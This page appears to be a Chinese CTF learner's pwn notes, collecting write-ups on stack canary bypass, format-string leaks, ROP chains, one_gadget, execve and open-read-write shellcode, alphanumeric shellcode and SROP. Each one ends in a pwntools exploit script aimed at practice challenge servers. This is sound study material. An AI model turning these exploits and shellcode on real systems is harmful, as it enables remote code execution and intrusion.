Stack Overflow

保护绕过

RELRO

Full Relro(重定位表只读)

Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。

无法修改got表

Canary

canary = u64(p.recv(7).rjust(8,’\x00’))

CTFShow04

先checksec

在这里插入图片描述

栈不可执行
Canary打开

canary:
用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出。

main函数:

在这里插入图片描述

没有线索,跟进vuln函数

在这里插入图片描述

看到v3就是canary了
也就是下面的 [ebp-0ch]

在这里插入图片描述

在vuln函数中canary赋值给了eax
我们可以通过在这个赋值之后下一个断点,来获取canary的值
在此之前我们需要知道printf函数的地址,用来找到canary的偏移
所以要先在printf函数下面下一个断点
b printf

在这里插入图片描述

run

在这里插入图片描述

可以看到
printf函数的地址是 0xffffd0b0

然后在canary赋值之后下一个断点
ps:在vuln函数和main函数中都有canary的赋值

在这里插入图片描述

在这里插入图片描述

这里需要用main函数里面的(我也不知道为什么。。。

b *0x080486C9

在这里插入图片描述

这样就找到了canary的值
之后看printf的地址,找到canary的值,然后算出偏移
x/40wx 0xffffd0b0

在这里插入图片描述

发现0x0x1276e500的偏移为31,所以构造canary的值为%31$x
canary的值要靠我们的输入buf来赋值,所以要计算一下buf和v3的偏移 = (0x70-0xC) =100

在这里插入图片描述

最后还有 (0x8+4) = 12 个字节需要覆盖,覆盖返回地址到system函数才能取得shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p =remote("111.231.70.44",28017)

p.recv()
leak_canary = "%31$x"
p.sendline(leak_canary)
canary = int(p.recv(),16)

print(hex(canary))

getshell = "a" * 100 + p32(canary) + "b" * 12 + p32(0x0804859B)

p.sendline(getshell)

p.interactive()

NepCTF easystack (未解决)

2021.3.25

参考

目前看不太懂。。。

官方WriteUp:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
p= process("./easystack")
#p=remote("node2.hackingfor.fun",'30784')
exp = 0x30*p64(0x6cde20)
p.sendline(exp)
p.recv()
p.interactive()

0x30应该是0x3a。。。。。不然跑不起来,不知道这个数字怎么来的。。。

bjdctf_2020_babyrop2

保护

image-20210414130436078

开了canary

image-20210414130501122

利用格式化字符串漏洞泄露出canary,在rbp-0x8的位置。。。easy

image-20210414130934315

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

p = process('./bjdctf_2020_babyrop2')
#p = remote('node3.buuoj.cn',28628)

elf = ELF('./bjdctf_2020_babyrop2')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

vuln_addr = 0x400887
pop_rdi = 0x0000000000400993

payload = "%7$p"
p.sendline(payload)

p.recvuntil('0x')
addr = (int(p.recv(16),16))

print(hex(addr))

p.recvuntil('Pull up your sword and tell me u story!')

payload = 'a'*(0x20-0x8) + p64(addr) + 'a'*8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)

p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

print(hex(puts_addr))

ret_addr = 0x00000000004005f9

libc=LibcSearcher('puts',puts_addr)
offset = puts_addr - libc.dump('puts')
system_addr = offset + libc.dump('system')
bin_sh = offset + libc.dump('str_bin_sh')

getshell = 'a'*(0x20-0x8) + p64(addr) + 'a'*8 + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

p.sendline(getshell)

p.interactive()

wdb2018_guess

保护

image-20210422200135619

IDA

image-20210422200610913

gets 栈溢出漏洞,可以利用canary的报错输出,

执行 _stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称),覆盖这个指针,就能泄露出想要的内容了。

__stack_chk_fail 的源码

1
2
3
4
5
6
7
8
9
10
11
12
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

image-20210422202048976

利用思路:

  • 覆盖 __libc_argv[0] 为 puts_got 地址,计算出 libcbase
  • 利用 libcbase 计算出 enviorn 地址(enviorn 是环境变量表,里面包含栈地址),用上面的方法泄露出来,即可得到栈的地址
  • 计算 enviorn 与 flag 的偏移,因为flag是保存在栈上的,再用上面的方法泄露出 flag

泄露 libc_base

计算出 输入点 到 __libc_argv[0] 指针的偏移 0x128

image-20210422201404685

exp。泄露puts_got地址,计算libc_base,泄露 __environ。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
p.recvuntil('Please type your guessing flag')

payload = 'a'*0x128 + p64(puts_got)

p.sendline(payload)

p.recvuntil('stack smashing detected ***: ')

addr = u64(p.recv(6).ljust(8,b'\x00'))

print 'puts_addr===>',hex(addr)

libc=LibcSearcher('puts',addr)

libc_base = addr - libc.dump('puts')

environ_addr = libc_base + libc.dump('__environ')

print 'libc_base===>',hex(environ_addr)

泄露stack_addr

gdb调试,用 x/a _environ 获取当前 environ 地址,search flag 获取在栈上的 flag 的地址

image-20210422212224024

0x168

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p = remote("node3.buuoj.cn",25259)
#p = process('./GUESS')

elf = ELF('./GUESS')
puts_got = elf.got['puts']

p.recvuntil('Please type your guessing flag\n')
payload = 'a'*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
addr = u64(p.recv(6).ljust(8,b'\x00'))
print 'puts_addr===>',hex(addr)

libc = ELF('./libc.so.6')
libc_base = addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
print 'environ_addr===>',hex(environ_addr)

p.recvuntil('Please type your guessing flag\n')
payload = 'a'*0x128 + p64(environ_addr)
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
print 'stack_addr===>',hex(addr)

#gdb.attach(p)

flag_addr = stack_addr - 0x168
p.recvuntil('Please type your guessing flag\n')
payload = 'a'*0x128 + p64(flag_addr)
p.sendline(payload)

p.interactive()

image-20210425115237976

BJDCTF_2nd r2t4

格式化字符串 + _stack_chk_fail

20201223180634

20201223180812

所以不能利用简单的栈溢出了

发现printf函数有格式化字符串漏洞可以利用

并且程序给了backdoor,地址是:0x400626

20201223180855

思路是通过这个漏洞,把 stack_chk_fail 的 got表给改掉,改成 backdoor 的地址,这样当程序发现 canary 被修改去调用 stack_chk_fail 的时候就调用了 backdoor

20201223181044

手撸出printf格式化字符串的偏移

20201223181608

确定是第六个

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64',os='linux',word_size='64')

p = remote("127.0.0.1",12345)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']

payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()

9=6+3,3是"%64c%9$hn%1510c%10$hnAAA"占了24个比特,也就是3个字节

1
2
3
%64c%9$hn           %64c:0x0040(目标地址高位)            %9:更改第九位数字      $hn:两个字节(0000 0000 (八比特))
%1510c%10$hnAAA %1510c:1510+64=0x0626(目标地址低位) %10:更改第十位数字 $hn:两个字节 AAA:补齐成8的倍数

EIP

NepCTF 给你一朵小红花

2021.3.25

找字符串看见cat flag的system函数,进去发现反编译是红色的,快捷键P手动让IDA生成一个函数

20210325191702

20210325191953

只要程序返回到这个

{9A808D7E-F8DA-C99D-776D-F86EB6839E53}

也就是返回了序号5对应的字符
这个时候发送send不要line 下面的内容

20210325192243

p64(0) + p64(1) + b"\xE1"

exp

1
2
3
4
5
6
7
8
from pwn import * 
context.arch = 'amd64'
context.log_level='debug'
#p = process('./xhh')
p = remote('node2.hackingfor.fun',35402 )
#p = remote('127.0.0.1',12345)
payload = p64(0) + p64(1) + b"\xE1"
p.send(payload)

多跑几次就能出flag

One_gadget

[BJDCTF 2nd]one_gadget

ida看main函数

在这里插入图片描述
再看init函数

在这里插入图片描述

会输出一个printf的地址

使用one_gadget,计算一下libc的基址
buuctf给了远程的libc文件,下载下来

1
one_gadget [libcfilename]

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25812)

libc=ELF('./libc-2.29.so')

p.recvuntil('0x')
printf_addr = int(p.recv(12),16)

libc_base = printf_addr - libc.symbols['printf']
one_gadget = 0x106ef8
payload = libc_base + one_gadget

p.recvuntil('Give me your one gadget:')
p.sendline(str(payload))
p.interactive()

Shellcode/orw

主要是手写汇编类型

1
execve("/bin/sh",NULL,NULL)

32位程序:

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

mrctf2020_shellcode

IDA

image-20210531134743099

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf-8
from pwn import *
from LibcSearcher import *
from struct import pack
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 2

if debug == 1 :
p = process('./rop')
if debug == 2:
p = remote('node3.buuoj.cn',29914)

if debug == 3:
p = remote('127.0.0.1',12345)
#23946

payload = asm(shellcraft.sh())
p.recvuntil('Show me your magic!\n')
p.sendline(payload)

p.interactive()

BUUCTF_cmcc_simplerop

保护

image-20210417163706563

IDA

image-20210417163746110

很明显的漏洞点,但是参数v4距离返回地址的偏移并不是0x14+4,用gdb调试一下:
image-20210417164011794

0x20

找不到能利用的got表之类的东西,但能找到int 0x80,所以可以进行 systemcall

image-20210417164250630

1
execve("/bin/sh",NULL,NULL)

32位程序:

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

context.os = 'linux'
#context.arch = 'amd64'
context.log_level = 'debug'

#p = process('./simplerop')
p = remote('node3.buuoj.cn',26044)

int_0x80 = 0x080493e1
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
binsh_addr = 0x80EB584
read_addr = 0x806CD50

payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(8)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0)*2 + p32(binsh_addr) + p32(int_0x80)

p.sendline(payload)
p.send('/bin/sh')

p.interactive()

返回地址用 pop_edx_ecx_ebx ,需要把 read 函数中的参数 pop 出来。

HGame letter

20210307191837

程序禁用了一些系统调用,导致无法直接用 shellcode 直接getshell ,即 asm(shellcraft.sh()),所以得手写汇编 shellcode

(当时应该不懂用看沙箱)

20210307194929

负数溢出,但是没搞明白的是为什么是 -268376833 。。。。当事人非常郁闷

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
#r = process('./letter')
r=remote('182.92.108.71',31305)
r.sendlineafter('?','-268376833')
#r.sendline('a'*0x18+p64(0x60105c)+asm(shellcraft.sh()))
shellcode = '''
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c66
xor [rsp], rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 3
mov rsi, 0x601070
mov rdx, 0x100
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x601070
mov rdx,0x100
syscall
'''
r.sendline('a'*0x18+p64(0x60108C)+asm(shellcode))
r.interactive()

发现其他师傅有另外的解法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./letter')
context.arch = elf.arch
def pr(a,addr):
log.success(a+'====>'+hex(addr))
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
prdi = 0x400AA3
p6 = 0x400A9A
mmmc = 0x400A80
vuln = 0x400958
p = remote('182.92.108.71',31305)
#p = process('./letter')
#gdb.attach(p,'b *0x4009BB')
p.sendafter('?\n',str(0xffffffff).ljust(0x10,'\x00'))
payload = 'a'*0x18+p64(p6)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)
payload += p64(mmmc)+'a'*16+p64(0x00601000+0x500+0x10)+'a'*32+p64(0x4009DD)
p.send(payload)
p.recvuntil('.\n')
write_leak = u64(p.recv(8))
libcbase = write_leak - libc.sym['write']
open_addr = libcbase + libc.sym['open']
pr('libcbase',libcbase)

payload = 'a'*0x18+p64(0x00601000+0x500+0x10+0x10)+asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,0x00601000+0x500+0x100,100))
payload += asm(shellcraft.write(1,0x00601000+0x500+0x100,100))
p.sendline(payload)

p.interactive()

搞不懂控制 rbp 为 0x00601000+0x500+0x10 是为什么。。。。

pwnable_orw

保护

image-20210421165427835

IDA

image-20210421165445322

一道写shellcode 的题目,题目意思也很明显是用orw,在pwnable中flag文件是在/home/orw/flag中,但是在buu中直接在当前目录下就有flag文件。

写一个c程序再gcc -s 直接看汇编照着写就差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
int main()
{

char buf[100];
int fd;

fd = open('flag',0,0);

read(fd,buf,100);

write(1,buf,100);

close(fd);

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.text:0000000000400666 ; __unwind {
.text:0000000000400666 push rbp
.text:0000000000400667 mov rbp, rsp
.text:000000000040066A add rsp, 0FFFFFFFFFFFFFF80h
.text:000000000040066E mov rax, fs:28h
.text:0000000000400677 mov [rbp+var_8], rax
.text:000000000040067B xor eax, eax
.text:000000000040067D mov edx, 0
.text:0000000000400682 mov esi, 0 ; oflag
.text:0000000000400687 mov edi, 666C6167h ; file
.text:000000000040068C mov eax, 0
.text:0000000000400691 call _open
.text:0000000000400696 mov [rbp+fd], eax
.text:0000000000400699 lea rcx, [rbp+buf]
.text:000000000040069D mov eax, [rbp+fd]
.text:00000000004006A0 mov edx, 64h ; nbytes
.text:00000000004006A5 mov rsi, rcx ; buf
.text:00000000004006A8 mov edi, eax ; fd
.text:00000000004006AA mov eax, 0
.text:00000000004006AF call _read
.text:00000000004006B4 lea rax, [rbp+buf]
.text:00000000004006B8 mov edx, 64h ; n
.text:00000000004006BD mov rsi, rax ; buf
.text:00000000004006C0 mov edi, 1 ; fd
.text:00000000004006C5 mov eax, 0
.text:00000000004006CA call _write
.text:00000000004006CF mov eax, [rbp+fd]
.text:00000000004006D2 mov edi, eax ; fd
.text:00000000004006D4 mov eax, 0
.text:00000000004006D9 call _close
.text:00000000004006DE mov eax, 0
.text:00000000004006E3 mov rcx, [rbp+var_8]
.text:00000000004006E7 xor rcx, fs:28h
.text:00000000004006F0 jz short locret_4006F7
.text:00000000004006F2 call ___stack_chk_fail

open -> read -> write

open

  • ecx = flags 置零即可
  • edx = mode 置零即可
  • ebx = filename 文件名
  • eax = 0x05 系统调用号

read

  • ebx = fd 文件指针,就是open的返回值,不需要改变
  • ecx = buf 缓冲区,指向栈顶位置
  • edx = count 字节数
  • eax = 0x03 系统调用号

write

  • ebx = fd 文件指针,置为1,打印到屏幕
  • ecx = buf 缓冲区,指向栈顶
  • edx = count
  • eax = 0x04 系统调用号

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote("node3.buuoj.cn",25204)
#p = remote('chall.pwnable.tw',10001)
#p = process('./orw')

bss = 0x804A060

shellcode = '''
xor ecx,ecx;
xor edx,edx;
push ecx;
push 0x67616c66;
mov ebx,esp;
mov eax,0x5;
int 0x80;

mov ebx,eax;
mov ecx,esp;
mov edx,0x30;
mov eax,0x3;
int 0x80;

mov ebx,0x1;
mov edx,0x30;
mov eax,0x4;
int 0x80;
'''

#p.recvuntil(':')
p.send(asm(shellcode))

print((p.recv()))

p.interactive()

ciscn_2019_s_9

pwn函数

image-20211012162128135

hint函数

image-20211012162207729

image-20211012162225485

image-20211012162149991

解题思路

  • 栈溢出 0x8 个字节
  • 没有nx保护,可以想到往栈中写入shellcode
  • hint函数提供了跳转到栈上的指令 jmp esp

shellcode

如果使用

1
shellcode = asm(shellcraft.sh())

image-20211012163420109

长度会过长,参数s长度只有0x20(32),如果写入这个shellcode就无法覆盖返回地址,但可以自己写一个shell

1
2
3
4
5
6
7
8
9
10
shellcode = '''
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov eax,0xb
int 0x80
'''

shellcode写入栈了,将返回地址写成jmp esp,重新跳到栈上,手动写入sub esp,40;call esp开栈执行,即可获取shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
# context.arch = 'amd64'
context.arch = 'i386'
context.log_level = 'debug'

# 1 process
# 2 remote
# 3 127
debug = 1

if debug == 1 :
p = process('./ciscn_s_9')
if debug == 2:
p = remote('node4.buuoj.cn',26772)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

jmp_esp = 0x08048554

shellcode = '''
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov eax,0xb
int 0x80
'''

p.recvuntil('tell?\n')
# gdb.attach(p)
payload = asm(shellcode).ljust(0x24,'\x00') + p32(jmp_esp) + asm("sub esp,40;call esp")
p.recvuntil('>\n')
p.sendline(payload)

p.interactive()

mrctf2020_shellcode_revenge

可见字符shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

debug = 1
filename = 'mrctf2020_shellcode_revenge'
if debug == 1 :
p = process(filename)

shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.recvuntil('Show me your magic!\n')
p.send(shellcode)
1
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

[极客大挑战 2019]Not Bad

需要手写汇编控制程序流

保护

image-20211109184029414

重点关注的是NX栈可执行,一般来说把这个保护关了就大概率是漏洞利用的关键点

Main 函数

image-20211109183210033

程序用mmap在地址0x1M23000上申请了0x1000大小的空间

image-20211109183324539

权限可写可执行

漏洞函数

image-20211109183404748

溢出0x10字节

jmp rsp

image-20211109183937185

利用jmp rsp,我们可以在栈上执行指令

沙箱保护

image-20211109183652218

利用思路

  • buf 的长度不够我们把orw汇编代码写入栈中去执行,但可以写入到mmap申请的空间中
  • 在栈中写入一个read函数,向mmap空间中写入orw汇编代码,并让程序到mmap空间中执行
  • 利用jmp rsp,执行栈中的代码

漏洞利用

payload解析

1
2
3
4
payload = asm(shellcraft.read(0,mmap,0x100)) + asm('mov rax,0x123000; jmp rax')
payload = payload.ljust(0x28,'a')
payload += p64(jmp_rsp) + asm('sub rsp,0x30; jmp rsp')
p.sendlineafter('have fun!',payload)

image-20211109195855092

image-20211109195942982

jmp_rsp

image-20211109200044672

sub rsp,0x30; jmp rsp

image-20211109200108808

image-20211109200132806

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 2
filename = 'bad'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',29326)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

pop_rdi = 0x0000000000400963
jmp_rsp = 0x000000000400A01
mmap = 0x123000

# gdb.attach(p,'b *0x000000000400A43')

payload = asm(shellcraft.read(0,mmap,0x100)) + asm('mov rax,0x123000; jmp rax')
payload = payload.ljust(0x28,'a')
payload += p64(jmp_rsp) + asm('sub rsp,0x30; jmp rsp')
p.sendlineafter('have fun!',payload)

payload = shellcraft.open('./flag')
payload += shellcraft.read(3,mmap+0x100,0x100)
payload += shellcraft.write(1,mmap+0x100,0x100)
p.sendline(asm(payload))

p.interactive()

可见字符shellcode

下载alpha3

1
git clone https://github.com/TaQini/alpha3.git

用法

用pwntools生成shellcode

在alpha3目录下

1
2
3
4
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

生成shellcode文件

执行如下命令生成待编码的shellcode文件

1
python3 sc.py > shellcode

默认生成的是x64的sys_execve(“/bin/sh”,0,0),可以修改成其他的arch或shellcode

x64 alpha编码

1
2
3
4
5
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

or

./shellcode_x64.sh rax

其中输入文件为shellcode,rax是用于编码的寄存器(shellcode基址)

1
2
3
 trick@ubuntu  ~/alpha3   master ±  ./shellcode_x64.sh rax
trick@ubuntu  ~/alpha3   master ±  python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2O2u2E0Z7m0n7m0R0b2x2o0Y102x0B7O2A1P2J0n102j0V0l2A0T170Z2j0Y7N0O1O137M0I1P132v0H0V10142v060H0f11000J0q11180I1711160J0Z110h0k060V0y0g2E0m0K170u0n110m2H11120n2n0U1N0f7N0m0H192m0n2n0U10112t0H12131k2k0h0l02102w0m0I112m2w0C01%

(自己生成的好像有点问题,用不了。。。/(ㄒoㄒ)/~~

x86 alpha编码

alpha3中x64的shellcode只要上述mixedcase一种情况,x86的选项比较多:

  • x86 ascii uppercase (数字+大写字母)
  • x86 ascii lowercase (数字+小写字母)
  • x86 ascii mixedcase (数字+大小写字母)

ROPchain

inndy_rop

IDA

image-20210531133221600

先去Options - Stack pointer 勾选上,然后在上图黄色处右键 change stack pointer

image-20210531133152955

image-20210531133309555

函数很简单

image-20210531133332120

1
ROPgadget --binary rop --ropchain

image-20210531133403028

手动加上偏移,导入from struct import pack

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding:utf-8
from pwn import *
from LibcSearcher import *
from struct import pack
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 2

if debug == 1 :
pa = process('./rop')
if debug == 2:
pa = remote('node3.buuoj.cn',29696)
if debug == 3:
pa = remote('127.0.0.1',12345)
#23946
p = 'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

pa.sendline(p)

pa.interactive()

SROP

_ciscn_2019_s_3

main里只有一个vuln函数
直接进去看

205415324135211

202

看汇编分析:

需要在栈上构造/bin/sh,并且需要rax=59让64位的syscall执行execve才能getshell

64 位:系统调用号放入 rax,参数依次放到 rdi、rsi、rdx,返回值放在 rax

64位程序前六个寄存器调用顺序:rdi rsi rdx rcx r8 r9

寄存器大概布局:
rax = 59
rdi = /bin/sh
rsi = 0
rdx = 0

注意到vuln函数末尾并没有使用leave指令,即直接把之前push的rbp当作return address
我们要ROP的话offset只需要0x10

先构造/bin/sh在栈中

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context.log_level = 'debug'
vuln_addr = 0x0004004ED
payload = '/bin/sh\x00' + 'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))

20201202211800

20201202211855

发现/bin/sh已经在栈中了,在打印到0x20的时候,接下来是打印出来一个地址,这也是为什么需要recv的原因,这个地址是栈上面的,所以只要算出这个地址和/bin/sh地址的相对偏移,就可以在程序每次执行的时候算出binsh的地址了,因为地址会变,但是偏移不会

我们输出了地址stack_addr

计算偏移量 0x7ffdc7824d78 - 0x007FFDC7824C60 = 0x118

所以计算binsh_addr = stack_addr - 0x118

构造完/bin/sh之后,在程序中有给我们一个gadgets函数:

20201203155951

只要我们跳到地址0x4004E2就能把3Bh(59)赋值给rax,这样系统调用号的参数也搞定了

接下来可以利用csu把 rsi = 0,rdx = 0 ,最后用pop rdi ; ret存上/bin/sh就万事大吉了

20201203161803

需要注意的是call这个地方call的是r12地址上的内容,我们这里要call的是mov rax,3Bh ,而mov rax,3Bh可以存在/bin/sh\x00aaaaaaaa(一共长0x10)后面,所以r12 = binsh_addr + 0x10

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p=remote('node3.buuoj.cn',27933)
#p = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context.log_level = 'debug'

main_addr = elf.symbols['main']
vuln_addr = 0x0004004ED

payload = '/bin/sh\x00' + 'A'*0x8 + p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))


binsh_addr = stack_addr - 0x118
pop_rbx_rbp_r12_r13_14_r15 = 0x40059A
mov_rdx_r13 = 0x400580
mov_rax_59 = 0x4004E2
pop_rdi = 0x4005a3
syscall_addr = 0x400501

payload = '/bin/sh\x00' + 'A'*0x8 + p64(mov_rax_59)
payload += p64(pop_rbx_rbp_r12_r13_14_r15)
payload += p64(0) + p64(1) + p64(binsh_addr+0x10) + p64(0)*3
payload += p64(mov_rdx_r13) + 'a'*(6*8+8)
payload += p64(pop_rdi) + p64(binsh_addr) + p64(syscall_addr)

p.sendline(payload)
p.interactive()

参考链接

SROP

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p = process('./ciscn_s_3')
context.binary=('./ciscn_s_3')
context.terminal = ['gnome-terminal','-x','sh','-c']

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
p.send(pl1)
p.recv(0x20)
sh=u64(p.recv(8))-0x118
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip= sys

